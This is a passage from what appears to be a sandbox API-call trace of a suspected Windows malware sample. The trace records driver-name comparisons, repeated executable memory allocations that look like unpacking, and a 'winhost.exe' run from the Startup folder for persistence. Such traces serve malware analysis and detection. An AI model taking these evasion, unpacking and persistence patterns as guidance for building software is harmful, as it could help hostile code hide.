lpString2="cng.s") returned 1 [0261.836] lstrcmpiA (lpString1="Filem", lpString2="pcw.s") returned -1 [0261.836] lstrcmpiA (lpString1="Filem", lpString2="Fs_Re") returned -1 [0261.836] lstrcmpiA (lpString1="Filem", lpString2="ndis.") returned -1 [0261.836] lstrcmpiA (lpString1="Filem", lpString2="NETIO") returned -1 [0261.837] lstrcmpiA (lpString1="Filem", lpString2="ksecp") returned -1 [0261.837] lstrcmpiA (lpString1="Filem", lpString2="tcpip") returned -1 [0261.837] lstrcmpiA (lpString1="Filem", lpString2="fwpkc") returned -1 [0261.837] lstrcmpiA (lpString1="Filem", lpString2="vmsto") returned -1 [0261.837] lstrcmpiA (lpString1="Filem", lpString2="volsn") returned -1 [0261.837] lstrcmpiA (lpString1="Filem", lpString2="spldr") returned -1 [0261.837] lstrcmpiA (lpString1="Filem", lpString2="rdybo") returned -1 [0261.837] lstrcmpiA (lpString1="Filem", lpString2="mup.s") returned -1 [0261.837] lstrcmpiA (lpString1="Filem", lpString2="hwpol") returned -1 [0261.837] lstrcmpiA (lpString1="Filem", lpString2="fvevo") returned -1 [0261.837] lstrcmpiA (lpString1="Filem", lpString2="disk.") returned 1 [0261.837] lstrcmpiA (lpString1="Filem", lpString2="CLASS") returned 1 [0261.837] lstrcmpiA (lpString1="Filem", lpString2="Null.") returned -1 [0261.837] lstrcmpiA (lpString1="Filem", lpString2="Beep.") returned 1 [0261.837] lstrcmpiA (lpString1="Filem", lpString2="vga.s") returned -1 [0261.837] lstrcmpiA (lpString1="Filem", lpString2="VIDEO") returned -1 [0261.837] lstrcmpiA (lpString1="Filem", lpString2="watch") returned -1 [0261.837] lstrcmpiA (lpString1="Filem", lpString2="RDPCD") returned -1 [0261.837] lstrcmpiA (lpString1="Filem", lpString2="rdpen") returned -1 [0261.837] lstrcmpiA (lpString1="Filem", lpString2="rdpre") returned -1 [0261.837] lstrcmpiA (lpString1="Filem", lpString2="Msfs.") returned -1 [0261.837] lstrcmpiA (lpString1="Filem", lpString2="Npfs.") returned -1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="tdx.s") returned -1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="TDI.S") returned -1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="afd.s") returned 1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="netbt") returned -1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="wfplw") returned -1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="pacer") returned -1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="netbi") returned -1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="wanar") returned -1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="termd") returned -1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="rdbss") returned -1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="nsipr") returned -1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="mssmb") returned -1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="disca") returned 1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="csc.s") returned 1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="dfsc.") returned 1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="blbdr") returned 1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="tunne") returned -1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="vgapn") returned -1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="HDAud") returned -1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="usbeh") returned -1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="USBPO") returned -1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="E1G60") returned 1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="intel") returned -1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="Compo") returned 1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="Agile") returned 1 [0261.838] lstrcmpiA (lpString1="Filem", lpString2="rasl2") returned -1 [0261.839] lstrcmpiA (lpString1="Filem", lpString2="ndist") returned -1 [0261.839] lstrcmpiA (lpString1="Filem", lpString2="ndisw") returned -1 [0261.839] lstrcmpiA (lpString1="Filem", lpString2="raspp") returned -1 [0261.839] lstrcmpiA (lpString1="Filem", lpString2="raspp") returned -1 [0261.839] lstrcmpiA (lpString1="Filem", lpString2="rasss") returned -1 [0261.839] lstrcmpiA (lpString1="Filem", lpString2="rdpbu") returned -1 [0261.839] lstrcmpiA (lpString1="Filem", lpString2="kbdcl") returned -1 [0261.839] lstrcmpiA (lpString1="Filem", lpString2="moucl") returned -1 [0261.839] lstrcmpiA (lpString1="Filem", lpString2="swenu") returned -1 [0261.839] lstrcmpiA (lpString1="Filem", lpString2="ks.sy") returned -1 [0261.839] lstrcmpiA (lpString1="Filem", lpString2="umbus") returned -1 [0261.839] lstrcmpiA (lpString1="Filem", lpString2="usbhu") returned -1 [0261.839] lstrcmpiA (lpString1="Filem", lpString2="NDPro") returned -1 [0261.839] lstrcmpiA (lpString1="Filem", lpString2="HdAud") returned -1 [0261.839] lstrcmpiA (lpString1="Filem", lpString2="portc") returned -1 [0261.839] lstrcmpiA (lpString1="Filem", lpString2="drmk.") returned 1 [0261.839] lstrcmpiA (lpString1="Filem", lpString2="ksthu") returned -1 [0261.839] lstrcmpiA (lpString1="Filem", lpString2="crash") returned 1 [0261.840] lstrcmpiA (lpString1="Filem", lpString2="dump_") returned 1 [0261.840] lstrcmpiA (lpString1="Filem", lpString2="dump_") returned 1 [0261.840] lstrcmpiA (lpString1="Filem", lpString2="dump_") returned 1 [0261.840] lstrcmpiA (lpString1="Filem", lpString2="win32") returned -1 [0261.840] lstrcmpiA (lpString1="Filem", lpString2="Dxapi") returned 1 [0261.840] lstrcmpiA (lpString1="Filem", lpString2="dxg.s") returned 1 [0261.840] lstrcmpiA (lpString1="Filem", lpString2="monit") returned -1 [0261.840] lstrcmpiA (lpString1="Filem", lpString2="TSDDD") returned -1 [0261.840] lstrcmpiA (lpString1="Filem", lpString2="frame") returned -1 [0261.840] lstrcmpiA (lpString1="Filem", lpString2="hidus") returned -1 [0261.840] lstrcmpiA (lpString1="Filem", lpString2="HIDCL") returned -1 [0261.840] lstrcmpiA (lpString1="Filem", lpString2="HIDPA") returned -1 [0261.840] lstrcmpiA (lpString1="Filem", lpString2="USBD.") returned -1 [0261.840] lstrcmpiA (lpString1="Filem", lpString2="kbdhi") returned -1 [0261.840] lstrcmpiA (lpString1="Filem", lpString2="luafv") returned -1 [0261.840] lstrcmpiA (lpString1="Filem", lpString2="mouhi") returned -1 [0261.840] lstrcmpiA (lpString1="Filem", lpString2="lltdi") returned -1 [0261.840] lstrcmpiA (lpString1="Filem", lpString2="rspnd") returned -1 [0261.840] lstrcmpiA (lpString1="Filem", lpString2="HTTP.") returned -1 [0261.840] lstrcmpiA (lpString1="Filem", lpString2="bowse") returned 1 [0261.840] lstrcmpiA (lpString1="Filem", lpString2="mpsdr") returned -1 [0261.840] lstrcmpiA (lpString1="Filem", lpString2="mrxsm") returned -1 [0261.840] lstrcmpiA (lpString1="Filem", lpString2="mrxsm") returned -1 [0261.840] lstrcmpiA (lpString1="Filem", lpString2="mrxsm") returned -1 [0261.901] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x49558d | out: lpflOldProtect=0x49558d*=0x4) returned 1 [0261.901] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x495e65 | out: lpflOldProtect=0x495e65*=0x4) returned 1 [0261.903] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x40) returned 0x2d0000 [0261.904] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x40) returned 0x2e0000 [0261.904] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x40) returned 0x2f0000 [0261.904] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x40) returned 0x300000 [0261.905] VirtualAlloc (lpAddress=0x0, dwSize=0x153c, flAllocationType=0x1000, flProtect=0x40) returned 0x320000 [0261.905] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0261.906] VirtualAlloc (lpAddress=0x0, dwSize=0xd75, flAllocationType=0x1000, flProtect=0x40) returned 0x330000 [0261.906] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0261.906] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0261.907] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0261.907] VirtualAlloc (lpAddress=0x0, dwSize=0x9b, flAllocationType=0x1000, flProtect=0x40) returned 0x3c0000 [0261.908] VirtualAlloc (lpAddress=0x0, dwSize=0x18f0, flAllocationType=0x1000, flProtect=0x40) returned 0x3d0000 [0261.909] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0261.909] VirtualAlloc (lpAddress=0x0, dwSize=0x73d, flAllocationType=0x1000, flProtect=0x40) returned 0x3e0000 [0261.910] VirtualAlloc (lpAddress=0x0, dwSize=0xe5a, flAllocationType=0x1000, flProtect=0x40) returned 0x3f0000 [0261.910] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0261.910] VirtualAlloc (lpAddress=0x0, dwSize=0xcd8, flAllocationType=0x1000, flProtect=0x40) returned 0x320000 [0261.911] VirtualAlloc (lpAddress=0x0, dwSize=0x303, flAllocationType=0x1000, flProtect=0x40) returned 0xa90000 [0261.911] VirtualAlloc (lpAddress=0x0, dwSize=0x2ad, flAllocationType=0x1000, flProtect=0x40) returned 0x2400000 [0261.912] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0261.912] VirtualAlloc (lpAddress=0x0, dwSize=0xc94, flAllocationType=0x1000, flProtect=0x40) returned 0x320000 [0261.912] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0261.913] VirtualAlloc (lpAddress=0x0, dwSize=0x640, flAllocationType=0x1000, flProtect=0x40) returned 0x320000 [0261.913] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0261.913] VirtualAlloc (lpAddress=0x0, dwSize=0x153c, flAllocationType=0x1000, flProtect=0x40) returned 0x320000 [0261.914] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0261.914] VirtualAlloc (lpAddress=0x0, dwSize=0xc94, flAllocationType=0x1000, flProtect=0x40) returned 0x320000 [0261.915] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0261.915] VirtualAlloc (lpAddress=0x0, dwSize=0x153c, flAllocationType=0x1000, flProtect=0x40) returned 0x320000 [0261.916] VirtualAlloc (lpAddress=0x0, dwSize=0x53e, flAllocationType=0x1000, flProtect=0x40) returned 0x2410000 [0261.917] VirtualAlloc (lpAddress=0x0, dwSize=0x143, flAllocationType=0x1000, flProtect=0x40) returned 0x2420000 [0261.918] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0261.918] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0261.919] VirtualAlloc (lpAddress=0x0, dwSize=0x543, flAllocationType=0x1000, flProtect=0x40) returned 0x2430000 [0261.920] VirtualAlloc (lpAddress=0x0, dwSize=0x4e6, flAllocationType=0x1000, flProtect=0x40) returned 0x2440000 [0261.920] VirtualAlloc (lpAddress=0x0, dwSize=0x128, flAllocationType=0x1000, flProtect=0x40) returned 0x2450000 [0261.921] VirtualAlloc (lpAddress=0x0, dwSize=0x105, flAllocationType=0x1000, flProtect=0x40) returned 0x2460000 [0261.922] VirtualAlloc (lpAddress=0x0, dwSize=0x1042, flAllocationType=0x1000, flProtect=0x40) returned 0x2470000 [0261.923] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0261.923] GetModuleHandleA (lpModuleName="NTDLL") returned 0x77350000 [0261.958] VirtualAlloc (lpAddress=0x0, dwSize=0xeeb, flAllocationType=0x1000, flProtect=0x40) returned 0x2480000 [0261.958] VirtualAlloc (lpAddress=0x0, dwSize=0x4e9, flAllocationType=0x1000, flProtect=0x40) returned 0x2490000 [0261.959] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0261.959] VirtualAlloc (lpAddress=0x0, dwSize=0x3c, flAllocationType=0x1000, flProtect=0x40) returned 0x320000 [0261.959] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0261.959] VirtualAlloc (lpAddress=0x0, dwSize=0xb2c, flAllocationType=0x1000, flProtect=0x40) returned 0x320000 [0261.960] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0261.960] VirtualAlloc (lpAddress=0x0, dwSize=0xcd8, flAllocationType=0x1000, flProtect=0x40) returned 0x320000 [0261.962] VirtualAlloc (lpAddress=0x0, dwSize=0xc1f, flAllocationType=0x1000, flProtect=0x40) returned 0x24a0000 [0261.962] VirtualAlloc (lpAddress=0x0, dwSize=0xc58, flAllocationType=0x1000, flProtect=0x40) returned 0x24b0000 [0261.963] VirtualAlloc (lpAddress=0x0, dwSize=0x15e, flAllocationType=0x1000, flProtect=0x40) returned 0x24c0000 [0261.964] VirtualAlloc (lpAddress=0x0, dwSize=0x49f, flAllocationType=0x1000, flProtect=0x40) returned 0x24d0000 [0261.965] VirtualAlloc (lpAddress=0x0, dwSize=0x43b, flAllocationType=0x1000, flProtect=0x40) returned 0x24e0000 [0261.966] VirtualAlloc (lpAddress=0x0, dwSize=0x55d, flAllocationType=0x1000, flProtect=0x40) returned 0x24f0000 [0261.967] VirtualAlloc (lpAddress=0x0, dwSize=0x62c, flAllocationType=0x1000, flProtect=0x40) returned 0x2500000 [0261.968] VirtualAlloc (lpAddress=0x0, dwSize=0x4ef, flAllocationType=0x1000, flProtect=0x40) returned 0x2510000 [0261.968] VirtualAlloc (lpAddress=0x0, dwSize=0x78c, flAllocationType=0x1000, flProtect=0x40) returned 0x2520000 [0261.969] VirtualAlloc (lpAddress=0x0, dwSize=0xbca, flAllocationType=0x1000, flProtect=0x40) returned 0x2530000 [0261.970] VirtualAlloc (lpAddress=0x0, dwSize=0x290, flAllocationType=0x1000, flProtect=0x40) returned 0x2540000 [0261.971] VirtualAlloc (lpAddress=0x0, dwSize=0x7b3, flAllocationType=0x1000, flProtect=0x40) returned 0x2560000 [0261.972] VirtualAlloc (lpAddress=0x0, dwSize=0x2da, flAllocationType=0x1000, flProtect=0x40) returned 0x2570000 [0261.973] VirtualAlloc (lpAddress=0x0, dwSize=0x26d, flAllocationType=0x1000, flProtect=0x40) returned 0x2580000 [0261.974] VirtualAlloc (lpAddress=0x0, dwSize=0x444, flAllocationType=0x1000, flProtect=0x40) returned 0x2590000 [0261.975] VirtualAlloc (lpAddress=0x0, dwSize=0x484, flAllocationType=0x1000, flProtect=0x40) returned 0x25a0000 [0261.976] VirtualAlloc (lpAddress=0x0, dwSize=0x28c, flAllocationType=0x1000, flProtect=0x40) returned 0x25b0000 [0261.977] VirtualAlloc (lpAddress=0x0, dwSize=0x3f2, flAllocationType=0x1000, flProtect=0x40) returned 0x25c0000 [0261.978] VirtualAlloc (lpAddress=0x0, dwSize=0x3b8, flAllocationType=0x1000, flProtect=0x40) returned 0x25d0000 [0261.979] VirtualAlloc (lpAddress=0x0, dwSize=0x3d7, flAllocationType=0x1000, flProtect=0x40) returned 0x25e0000 [0261.980] VirtualAlloc (lpAddress=0x0, dwSize=0x91b, flAllocationType=0x1000, flProtect=0x40) returned 0x25f0000 [0261.981] VirtualAlloc (lpAddress=0x0, dwSize=0x38d, flAllocationType=0x1000, flProtect=0x40) returned 0x2600000 [0261.982] VirtualAlloc (lpAddress=0x0, dwSize=0x879, flAllocationType=0x1000, flProtect=0x40) returned 0x2610000 [0261.983] VirtualAlloc (lpAddress=0x0, dwSize=0x369, flAllocationType=0x1000, flProtect=0x40) returned 0x2620000 [0261.984] VirtualAlloc (lpAddress=0x0, dwSize=0x707, flAllocationType=0x1000, flProtect=0x40) returned 0x2630000 [0261.985] VirtualAlloc (lpAddress=0x0, dwSize=0x2bc, flAllocationType=0x1000, flProtect=0x40) returned 0x2640000 [0261.986] VirtualAlloc (lpAddress=0x0, dwSize=0x2e9, flAllocationType=0x1000, flProtect=0x40) returned 0x2650000 [0261.987] VirtualAlloc (lpAddress=0x0, dwSize=0x372, flAllocationType=0x1000, flProtect=0x40) returned 0x2660000 [0261.988] VirtualAlloc (lpAddress=0x0, dwSize=0x3a8, flAllocationType=0x1000, flProtect=0x40) returned 0x2670000 [0262.025] VirtualAlloc (lpAddress=0x0, dwSize=0x1c9b, flAllocationType=0x1000, flProtect=0x40) returned 0x2680000 [0262.025] VirtualAlloc (lpAddress=0x0, dwSize=0x17f, flAllocationType=0x1000, flProtect=0x40) returned 0x2690000 [0262.027] VirtualAlloc (lpAddress=0x0, dwSize=0x852, flAllocationType=0x1000, flProtect=0x40) returned 0x26a0000 [0262.027] VirtualAlloc (lpAddress=0x0, dwSize=0x174, flAllocationType=0x1000, flProtect=0x40) returned 0x26b0000 [0262.029] VirtualAlloc (lpAddress=0x0, dwSize=0x9b6, flAllocationType=0x1000, flProtect=0x40) returned 0x26c0000 [0262.029] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.029] VirtualAlloc (lpAddress=0x0, dwSize=0x153c, flAllocationType=0x1000, flProtect=0x40) returned 0x320000 [0262.030] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.031] VirtualAlloc (lpAddress=0x0, dwSize=0x640, flAllocationType=0x1000, flProtect=0x40) returned 0x320000 [0262.031] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.031] VirtualAlloc (lpAddress=0x0, dwSize=0x1d8, flAllocationType=0x1000, flProtect=0x40) returned 0x320000 [0262.032] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.032] VirtualAlloc (lpAddress=0x0, dwSize=0x70, flAllocationType=0x1000, flProtect=0x40) returned 0x320000 [0262.032] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.032] VirtualFree (lpAddress=0x250000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.033] VirtualFree (lpAddress=0x290000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.033] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.034] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.034] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0262.034] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x71e0a4 | out: Wow64Process=0x71e0a4) returned 1 [0262.037] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x49558d | out: lpflOldProtect=0x49558d*=0x4) returned 1 [0262.037] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x495e65 | out: lpflOldProtect=0x495e65*=0x4) returned 1 [0262.037] GetProcAddress (hModule=0x77350000, lpProcName="RtlAllocateHeap") returned 0x7737e026 [0262.037] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x49558d | out: lpflOldProtect=0x49558d*=0x4) returned 1 [0262.038] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x495df3 | out: lpflOldProtect=0x495df3*=0x4) returned 1 [0262.038] GetCommandLineA () returned="\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe\" " [0262.038] GetVersion () returned 0x1db10106 [0262.038] GetVersion () returned 0x1db10106 [0262.038] GetCurrentThreadId () returned 0x55c [0262.038] GetThreadLocale () returned 0x409 [0262.039] LoadStringBaseExW () returned 0x1c [0262.039] WCSToMBEx () returned 0x1c [0262.040] LoadStringBaseExW () returned 0x17 [0262.040] WCSToMBEx () returned 0x17 [0262.040] LoadStringBaseExW () returned 0x15 [0262.040] WCSToMBEx () returned 0x15 [0262.040] LoadStringBaseExW () returned 0x10 [0262.040] WCSToMBEx () returned 0x10 [0262.040] LoadStringBaseExW () returned 0x29 [0262.040] WCSToMBEx () returned 0x29 [0262.040] LoadStringBaseExW () returned 0x10 [0262.040] WCSToMBEx () returned 0x10 [0262.040] LoadStringBaseExW () returned 0x24 [0262.040] WCSToMBEx () returned 0x24 [0262.040] LoadStringBaseExW () returned 0x22 [0262.040] WCSToMBEx () returned 0x22 [0262.040] LoadStringBaseExW () returned 0x19 [0262.040] WCSToMBEx () returned 0x19 [0262.040] LoadStringBaseExW () returned 0x1f [0262.040] WCSToMBEx () returned 0x1f [0262.040] LoadStringBaseExW () returned 0xe [0262.040] WCSToMBEx () returned 0xe [0262.040] LoadStringBaseExW () returned 0xd [0262.040] WCSToMBEx () returned 0xd [0262.040] LoadStringBaseExW () returned 0x16 [0262.040] WCSToMBEx () returned 0x16 [0262.041] LoadStringBaseExW () returned 0x10 [0262.041] WCSToMBEx () returned 0x10 [0262.041] LoadStringBaseExW () returned 0x16 [0262.041] WCSToMBEx () returned 0x16 [0262.041] LoadStringBaseExW () returned 0x18 [0262.041] WCSToMBEx () returned 0x18 [0262.041] LoadStringBaseExW () returned 0x17 [0262.041] WCSToMBEx () returned 0x17 [0262.041] LoadStringBaseExW () returned 0x1f [0262.041] WCSToMBEx () returned 0x1f [0262.041] LoadStringBaseExW () returned 0x20 [0262.041] WCSToMBEx () returned 0x20 [0262.041] LoadStringBaseExW () returned 0x10 [0262.041] WCSToMBEx () returned 0x10 [0262.041] LoadStringBaseExW () returned 0x11 [0262.041] WCSToMBEx () returned 0x11 [0262.041] LoadStringBaseExW () returned 0x10 [0262.041] WCSToMBEx () returned 0x10 [0262.041] LoadStringBaseExW () returned 0x15 [0262.041] WCSToMBEx () returned 0x15 [0262.041] LoadStringBaseExW () returned 0x9 [0262.041] WCSToMBEx () returned 0x9 [0262.041] LoadStringBaseExW () returned 0x17 [0262.041] WCSToMBEx () returned 0x17 [0262.041] LoadStringBaseExW () returned 0x12 [0262.041] WCSToMBEx () returned 0x12 [0262.041] LoadStringBaseExW () returned 0x13 [0262.041] WCSToMBEx () returned 0x13 [0262.041] LoadStringBaseExW () returned 0x10 [0262.041] WCSToMBEx () returned 0x10 [0262.041] LoadStringBaseExW () returned 0xe [0262.041] WCSToMBEx () returned 0xe [0262.041] LoadStringBaseExW () returned 0xd [0262.041] WCSToMBEx () returned 0xd [0262.041] LoadStringBaseExW () returned 0x19 [0262.041] WCSToMBEx () returned 0x19 [0262.041] GetThreadLocale () returned 0x409 [0262.041] GetThreadLocale () returned 0x409 [0262.042] GetThreadLocale () returned 0x409 [0262.042] GetThreadLocale () returned 0x409 [0262.042] GetThreadLocale () returned 0x409 [0262.043] NtUserGetDC () returned 0x10107d5 [0262.043] GetDeviceCaps (hdc=0x10107d5, index=90) returned 96 [0262.043] GdiReleaseDC () returned 0x1 [0262.043] NtUserCallOneParam (Param=0x10107d5, Routine=0x3b) returned 0x1 [0262.043] NtUserGetDC () returned 0x10107d5 [0262.043] GetDeviceCaps (hdc=0x10107d5, index=104) returned 0 [0262.043] GdiReleaseDC () returned 0x1 [0262.043] NtUserCallOneParam (Param=0x10107d5, Routine=0x3b) returned 0x1 [0262.043] CreatePalette (plpal=0x18f500) returned 0xb080249 [0262.043] GetStockObject (i=7) returned 0x1b00017 [0262.043] GetStockObject (i=5) returned 0x1900015 [0262.043] GetStockObject (i=13) returned 0x18a002e [0262.043] LoadIconW (hInstance=0x0, lpIconName=0x7f00) returned 0x10027 [0262.043] LoadStringBaseExW () returned 0x4 [0262.043] WCSToMBEx () returned 0x4 [0262.043] LoadStringBaseExW () returned 0x5 [0262.043] WCSToMBEx () returned 0x5 [0262.043] LoadStringBaseExW () returned 0x6 [0262.043] WCSToMBEx () returned 0x6 [0262.043] LoadStringBaseExW () returned 0x3 [0262.043] WCSToMBEx () returned 0x3 [0262.043] LoadStringBaseExW () returned 0x3 [0262.043] WCSToMBEx () returned 0x3 [0262.043] LoadStringBaseExW () returned 0x4 [0262.043] WCSToMBEx () returned 0x4 [0262.043] LoadStringBaseExW () returned 0x5 [0262.043] WCSToMBEx () returned 0x5 [0262.043] LoadStringBaseExW () returned 0x2 [0262.043] WCSToMBEx () returned 0x2 [0262.043] LoadStringBaseExW () returned 0x4 [0262.043] WCSToMBEx () returned 0x4 [0262.044] LoadStringBaseExW () returned 0x4 [0262.044] WCSToMBEx () returned 0x4 [0262.044] LoadStringBaseExW () returned 0x3 [0262.044] WCSToMBEx () returned 0x3 [0262.044] LoadStringBaseExW () returned 0x4 [0262.044] WCSToMBEx () returned 0x4 [0262.044] LoadStringBaseExW () returned 0x4 [0262.044] WCSToMBEx () returned 0x4 [0262.044] LoadStringBaseExW () returned 0x5 [0262.044] WCSToMBEx () returned 0x5 [0262.044] LoadStringBaseExW () returned 0x5 [0262.044] WCSToMBEx () returned 0x5 [0262.044] LoadStringBaseExW () returned 0x3 [0262.044] WCSToMBEx () returned 0x3 [0262.044] LoadStringBaseExW () returned 0x3 [0262.044] WCSToMBEx () returned 0x3 [0262.044] LoadStringBaseExW () returned 0x4 [0262.044] WCSToMBEx () returned 0x4 [0262.044] RtlCaptureAnsiString () returned 0x1 [0262.044] NtUserRegisterWindowMessage () returned 0xc052 [0262.044] RtlCaptureAnsiString () returned 0x1 [0262.044] NtUserRegisterWindowMessage () returned 0xc0ef [0262.044] GetCurrentThreadId () returned 0x55c [0262.044] InternalAddAtom () returned 0xc04d [0262.044] LoadStringBaseExW () returned 0xb [0262.044] WCSToMBEx () returned 0xb [0262.044] LoadStringBaseExW () returned 0xc [0262.044] WCSToMBEx () returned 0xc [0262.044] LoadStringBaseExW () returned 0x11 [0262.044] WCSToMBEx () returned 0x11 [0262.044] LoadStringBaseExW () returned 0x8 [0262.044] WCSToMBEx () returned 0x8 [0262.044] LoadStringBaseExW () returned 0xe [0262.044] WCSToMBEx () returned 0xe [0262.044] LoadStringBaseExW () returned 0xa [0262.044] WCSToMBEx () returned 0xa [0262.044] LoadStringBaseExW () returned 0x4 [0262.047] WCSToMBEx () returned 0x4 [0262.047] LoadStringBaseExW () returned 0x9 [0262.047] WCSToMBEx () returned 0x9 [0262.047] LoadStringBaseExW () returned 0xf [0262.047] WCSToMBEx () returned 0xf [0262.047] LoadStringBaseExW () returned 0x9 [0262.047] WCSToMBEx () returned 0x9 [0262.047] LoadStringBaseExW () returned 0xf [0262.047] WCSToMBEx () returned 0xf [0262.047] LoadStringBaseExW () returned 0x15 [0262.047] WCSToMBEx () returned 0x15 [0262.047] LoadStringBaseExW () returned 0x10 [0262.047] WCSToMBEx () returned 0x10 [0262.047] LoadStringBaseExW () returned 0xf [0262.047] WCSToMBEx () returned 0xf [0262.047] LoadStringBaseExW () returned 0xe [0262.047] WCSToMBEx () returned 0xe [0262.047] LoadStringBaseExW () returned 0x14 [0262.047] WCSToMBEx () returned 0x14 [0262.047] LoadStringBaseExW () returned 0x9 [0262.047] WCSToMBEx () returned 0x9 [0262.047] LoadStringBaseExW () returned 0x7 [0262.047] WCSToMBEx () returned 0x7 [0262.047] LoadStringBaseExW () returned 0xc [0262.047] WCSToMBEx () returned 0xc [0262.048] LoadStringBaseExW () returned 0xb [0262.048] WCSToMBEx () returned 0xb [0262.048] LoadStringBaseExW () returned 0xd [0262.048] WCSToMBEx () returned 0xd [0262.048] LoadStringBaseExW () returned 0x10 [0262.048] WCSToMBEx () returned 0x10 [0262.048] LoadStringBaseExW () returned 0xb [0262.048] WCSToMBEx () returned 0xb [0262.048] LoadStringBaseExW () returned 0xa [0262.048] WCSToMBEx () returned 0xa [0262.048] LoadStringBaseExW () returned 0x15 [0262.048] WCSToMBEx () returned 0x15 [0262.048] LoadStringBaseExW () returned 0xe [0262.048] WCSToMBEx () returned 0xe [0262.048] LoadStringBaseExW () returned 0xd [0262.048] WCSToMBEx () returned 0xd [0262.048] LoadStringBaseExW () returned 0xb [0262.048] WCSToMBEx () returned 0xb [0262.048] LoadStringBaseExW () returned 0x5 [0262.048] WCSToMBEx () returned 0x5 [0262.048] LoadStringBaseExW () returned 0x8 [0262.048] WCSToMBEx () returned 0x8 [0262.048] LoadStringBaseExW () returned 0xb [0262.048] WCSToMBEx () returned 0xb [0262.048] LoadStringBaseExW () returned 0x5 [0262.048] WCSToMBEx () returned 0x5 [0262.048] LoadStringBaseExW () returned 0x4 [0262.048] WCSToMBEx () returned 0x4 [0262.048] LoadStringBaseExW () returned 0x7 [0262.048] WCSToMBEx () returned 0x7 [0262.048] LoadStringBaseExW () returned 0x4 [0262.048] WCSToMBEx () returned 0x4 [0262.048] LoadStringBaseExW () returned 0x6 [0262.048] WCSToMBEx () returned 0x6 [0262.048] LoadStringBaseExW () returned 0x4 [0262.048] WCSToMBEx () returned 0x4 [0262.048] LoadStringBaseExW () returned 0x3 [0262.048] WCSToMBEx () returned 0x3 [0262.048] LoadStringBaseExW () returned 0x6 [0262.048] WCSToMBEx () returned 0x6 [0262.048] LoadStringBaseExW () returned 0x4 [0262.048] WCSToMBEx () returned 0x4 [0262.048] LoadStringBaseExW () returned 0x4 [0262.048] WCSToMBEx () returned 0x4 [0262.048] LoadStringBaseExW 